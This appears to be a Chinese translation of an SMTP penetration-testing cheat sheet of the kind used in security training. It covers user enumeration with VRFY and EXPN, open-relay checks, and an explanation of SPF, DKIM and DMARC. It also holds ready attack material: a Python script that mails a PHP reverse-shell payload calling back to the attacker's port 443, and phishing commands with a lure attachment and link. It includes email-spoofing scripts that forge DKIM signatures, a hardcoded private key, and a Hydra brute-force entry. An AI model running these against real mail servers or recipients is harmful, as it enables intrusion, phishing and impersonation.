SMTP(简单邮件传输协议)*是一种用于*发送和接收电子邮件的 TCP/IP 协议。但是,由于它在接收端对消息进行排队的能力有限,因此它通常与其他两种协议之一(POP3 或 IMAP)一起使用,使用户可以将消息保存在服务器邮箱中并定期从服务器下载它们。
换句话说,用户通常使用使用SMTP 发送电子邮件并使用POP3 或 IMAP 接收电子邮件的程序。在基于 Unix 的系统上,sendmail是使用最广泛的电子邮件 SMTP 服务器。商业软件包 Sendmail 包括一个 POP3 服务器。Microsoft Exchange包括一个 SMTP 服务器,也可以设置为包括 POP3 支持。从这里开始。
默认端口: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
如果你有机会让受害者给你发一封电子邮件(例如通过网页的联系方式),那么这样做是因为你可以通过查看邮件标题了解受害者的内部拓扑结构。
您还可以从 SMTP 服务器获取一封电子邮件,试图向该服务器发送一封电子邮件到一个不存在的地址(因为服务器将向攻击者发送一封 NDN 邮件)。但是,请确保您从允许的地址发送电子邮件(检查 SPF 策略)并且您可以接收 NDN 消息。
您还应该尝试发送不同的内容,因为您可以在标题上找到更多有趣的信息,例如: 您应该发送 EICAR 测试文件。检测AV可能允许您利用已知漏洞。 X-Virus-Scanned:byav.domain.com
SMTP:
nc -vn <IP> 25
SMTPS:
openssl s_client -crlf -connect smtp.mailgun.org:465 #没有starttls命令的SSL/TLS
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
dig +short mx google.com
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
如果服务器支持 NTLM 身份验证 (Windows),您可以获得敏感信息(版本)。更多信息在这里。
[email protected]: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
或者使用nmap插件自动执行此操作 smtp-ntlm-info.nse
当发出没有完整地址的命令“MAIL FROM”时,某些 SMTP 服务器会自动完成发件人的地址,从而泄露其内部名称:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 [email protected].somedomain.com....Sender OK
检查你是否从数据包中嗅探了一些密码到端口 25
并不总是需要身份验证
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
MAIL FROM:[email protected].org
250 2.1.0 [email protected].org... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
$ telnet 10.0.0.1 25
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello [10.0.0.99], pleased to meet you
VRFY root
250 Super-User <[email protected]>
VRFY blah
550 blah... User unknown
$ telnet 10.0.10.1 25
Trying 10.0.10.1...
Connected to 10.0.10.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 <ed.[email protected]>
EXPN sshd
250 2.1.5 sshd privsep <[email protected]>
摘自: https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
投递状态通知报告:如果您向某个组织发送电子邮件至无效地址,该组织将通知该地址无效并向您发回邮件。返回电子邮件的标题将包含可能的敏感信息(例如与报告交互的邮件服务的 IP 地址或防病毒软件信息)。
[email protected]:~# sendEmail -t [email protected].com -f [email protected].com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
Sincerely,
swaks --to $(cat emails | tr '\n' ',' | less) --from [email protected].htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
这是使用 python 脚本发送电子邮件的替代方法
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
# create message object instance
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "[email protected]"
msg['To'] = "[email protected]"
msg['Subject'] = "This is not a drill!"
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
本节的大部分内容摘自网络安全评估第 3 版一书。
SMTP 消息很容易被欺骗,因此组织使用SPF 、DKIM和DMARC功能来防止各方发送未经授权的电子邮件。
有关这些对策的完整指南,请访问https://seanthegeek.net/459/demystifying-dmarc/
发件人策略框架(SPF) 提供了一种机制,允许 MTA 检查发送电子邮件的主机是否经过授权。然后,组织可以定义授权邮件服务器列表,MTA 可以查询此列表以检查电子邮件是否被欺骗。为了定义 IP 地址/范围、域和其他允许代表域名发送电子邮件的人, SPF 注册表中出现了不同的“机制”。
Mechanism | Description |
---|---|
ALL | 始终匹配;用于默认结果,例如 -all 所有与先前机制不匹配的 IP。 |
A | 如果域名有可以解析到发件人地址的地址记录(A或AAAA),则匹配。 |
IP4 | 如果发件人在给定的 IPv4 地址范围内,则匹配。 |
IP6 | 如果发件人在给定的 IPv6 地址范围内,则匹配。 |
MX | 如果域名有解析为发件人地址的 MX 记录,它将匹配(即邮件来自域的接收邮件服务器之一)。 |
PTR | 如果客户端地址的域名(PTR 记录)在给定域中并且该域名解析为客户端地址(正向确认的反向 DNS),则匹配。这种机制是不鼓励的,应该尽可能避免。 |
EXISTS | 如果给定的域名解析为任何地址,则匹配(无论它解析为哪个地址)。这很少使用。它与 SPF 宏语言一起提供更复杂的匹配,如 DNSBL 查询。 |
INCLUDE | 引用另一个域的策略。如果该域的策略通过,则此机制通过。但是,如果包含的策略失败,处理将继续。要完全委托给另一个域的策略,必须使用重定向扩展。 |
REDIRECT | 重定向是指向托管 SPF 策略的另一个域名的指针,它允许多个域共享相同的 SPF 策略。在处理共享相同电子邮件基础设施的大量域时,它很有用。 |
还可以识别指示匹配机制时应执行的操作的限定符。默认情况下,使用限定符 “+” (因此,如果任何机制匹配,则意味着它是允许的)。您通常会在每个 SPF 政策的末尾注明:\~all或 -all 。这用于指示如果发件人不符合任何 SPF 策略,您应该将电子邮件标记为不受信任 (\~) 或拒绝 (-) 电子邮件。
每个机制都可以与四个限定符之一组合:
** +
**对于 PASS 结果。这个可以省略;例如, +mx
与 相同 mx
。
** ?
**对于解释为 NONE(无政策)的 NEUTRAL 结果。
~
(代字号)代表 SOFTFAIL,一种介于 NEUTRAL 和 FAIL 之间的调试辅助工具。通常,返回 SOFTFAIL 的消息会被接受但会被标记。
-
(减号)对于失败,邮件应该被拒绝(见下文)。
在下面的示例中,您可以阅读google.com 的 SPF 策略。请注意第一个 SPF 策略如何包含其他域的 SPF 策略:
[email protected]:~$ dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
[email protected]:~$ dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
[email protected]:~$ dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
[email protected]:~$ dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
[email protected]:~$ dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
传统上,可以欺骗任何没有正确/任何 SPF 记录的域名。如今,如果电子邮件来自没有有效 SPF 记录的域,*可能会*自动被拒绝/标记为不受信任。
要检查域的 SPF,您可以使用在线工具,例如:https://www.kitterman.com/spf/validate.html
DomainKeys Identified Mail (DKIM) 是一种机制,通过该机制,外国 MTA 在通过 DNS 检索域的公钥时对出站电子邮件进行签名和验证。DKIM 公钥保存在域的 TXT 记录中;但是,您必须知道选择器和域名才能检索它。
然后,要请求密钥,您需要域名和邮件标题中的邮件选择器, DKIM-Signature
例如:d=gmail.com;s=20120113
dig 20120113._domainkey.gmail.com TXT | grep p=
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
基于域的消息身份验证、报告和一致性 (DMARC) 是一种在 SPF 和 DKIM 基础上扩展的邮件身份验证方法。策略指示邮件服务器如何处理给定域的电子邮件并报告执行的操作。
[
](https://github.com/carlospolop/hacktricks/blob/master/.gitbook/assets/image (134).png)
获取DMARC记录需要查询子域名_dmarc
[email protected]:~# dig _dmarc.yahoo.com txt | grep DMARC
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
rua=mailto:[email protected], mailto:[email protected]\;"
[email protected]:~# dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:[email protected]"
[email protected]:~# dig _dmarc.paypal.com txt | grep DMARC
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:[email protected]\;
ruf=mailto:[email protected],mailto:[email protected]"
PayPal 和 Yahoo 指示邮件服务器拒绝包含无效 DKIM 签名或并非来自其网络的邮件。然后将通知发送到每个组织内的相应电子邮件地址。谷歌以类似的方式配置,尽管它指示邮件服务器隔离邮件而不是完全拒绝它们。
Tag Name | Purpose | Sample |
---|---|---|
v | 协议版本 | v=DMARC1 |
pct | 受到过滤的消息的百分比 | pct=20 |
ruf | 取证报告的报告 URI | ruf=mailto:[email protected] |
rua | 汇总报告的报告 URI | rua=mailto:[email protected] |
p | 组织域策略 | p=quarantine |
sp | OD 子域的策略 | sp=reject |
adkim | DKIM 的对齐模式 | adkim=s |
aspf | SPF 对齐模式 | aspf=r |
从这里开始.您需要为您希望从中发送邮件的每个子域拥有单独的 SPF 记录。以下内容最初发布在 openspf.org 上,该网站曾经是此类内容的重要资源。
难搞的问题: 子域呢?如果我收到来自 pielovers.demon.co.uk 的邮件,并且没有 pielovers 的 SPF 数据,我是否应该返回一级并测试 demon.co.uk 的 SPF?不。Demon 的每个子域都是不同的客户,每个客户可能有自己的政策。默认情况下 Demon 的政策适用于所有客户是没有意义的;如果 Demon 想要这样做,它可以为每个子域设置 SPF 记录。因此,对 SPF 发布者的建议是:您应该为每个具有 A 或 MX 记录的子域或主机名添加 SPF 记录。具有通配符 A 或 MX 记录的站点还应具有通配符 SPF 记录,格式为:* IN TXT "v=spf1 -all"
这是有道理的——一个子域很可能位于不同的地理位置并且具有非常不同的 SPF 定义。
为防止发送的邮件被垃圾邮件过滤器过滤而无法到达收件人,发件人可以使用收件人信任的中继服务器。通常,管理员没有概述他们必须允许哪些IP范围。这会导致我们在外部和内部渗透测试中仍然经常发现的 SMTP 服务器配置错误。因此,它们允许所有 IP 地址不会在电子邮件流量中造成错误,从而不会干扰或无意中中断与潜在和当前客户的通信:
mynetworks = 0.0.0.0/0
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
https://github.com/serain/mailspoof 检查 SPF 和 DMARC 配置错误
https://pypi.org/project/checkdmarc/ 自动获取 SPF 和 DMARC 配置
https://www.mailsploit.com/index
http://www.anonymailer.net/
https://emkei.cz/
或者你可以使用这个工具:
https://github.com/magichk/magicspoofing
# 这将从[email protected]发送测试电子邮件到[email protected]
python3 magicspoofmail.py -d victim.com -t -e [email protected].com
# 但你也可以修改邮件的更多选项
python3 magicspoofmail.py -d victim.com -t -e [email protected].com --subject TEST --sender [email protected].com
如果您在 dkim python 库中使用解析密钥时遇到任何错误,请随意使用以下一个。注意:这只是一个肮脏的修复,用于在由于某种原因 openssl 私钥无法被 dkim 解析的情况下进行快速检查。
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----
或者你可以手动完成:
php
# 这将发送未签名的消息
mail("[email protected]", "Test Subject!", "hey! This is a test", "From: [email protected]");
Python
# 来自 https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# Set
destination="[email protected]om"
sender="[email protected]"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]
# Prep
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")
# 生成 DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()
# 生成电子邮件
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()
# 使用dkim签署电子邮件
## 收件人将无法检查,但电子邮件将显示为已签名(因此更可信)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()
# 使用本地后缀中继发送电子邮件
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
在 https://seanthegeek.net/459/demystifying-dmarc/ 中查找有关这些保护的更多信息
如果您可以通过 SMTP 发送数据。
通常,如果已安装,in /etc/postfix/master.cf
包含在例如用户收到新邮件时执行的脚本。例如,该行 flags=Rquser=mark argv=/etc/postfix/filtering-f ${sender}--${recipient}
表示 /etc/postfix/filtering
如果用户标记收到新邮件,将执行该行。
其他配置文件:
sendmail.cf
submit.cf
Protocol_Name: SMTP #协议缩写(如果有的话)。
Port_Number: 25,465,587 #如果有多个,则用逗号分隔。
Protocol_Description: Simple Mail Transfer Protocol #协议缩写
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'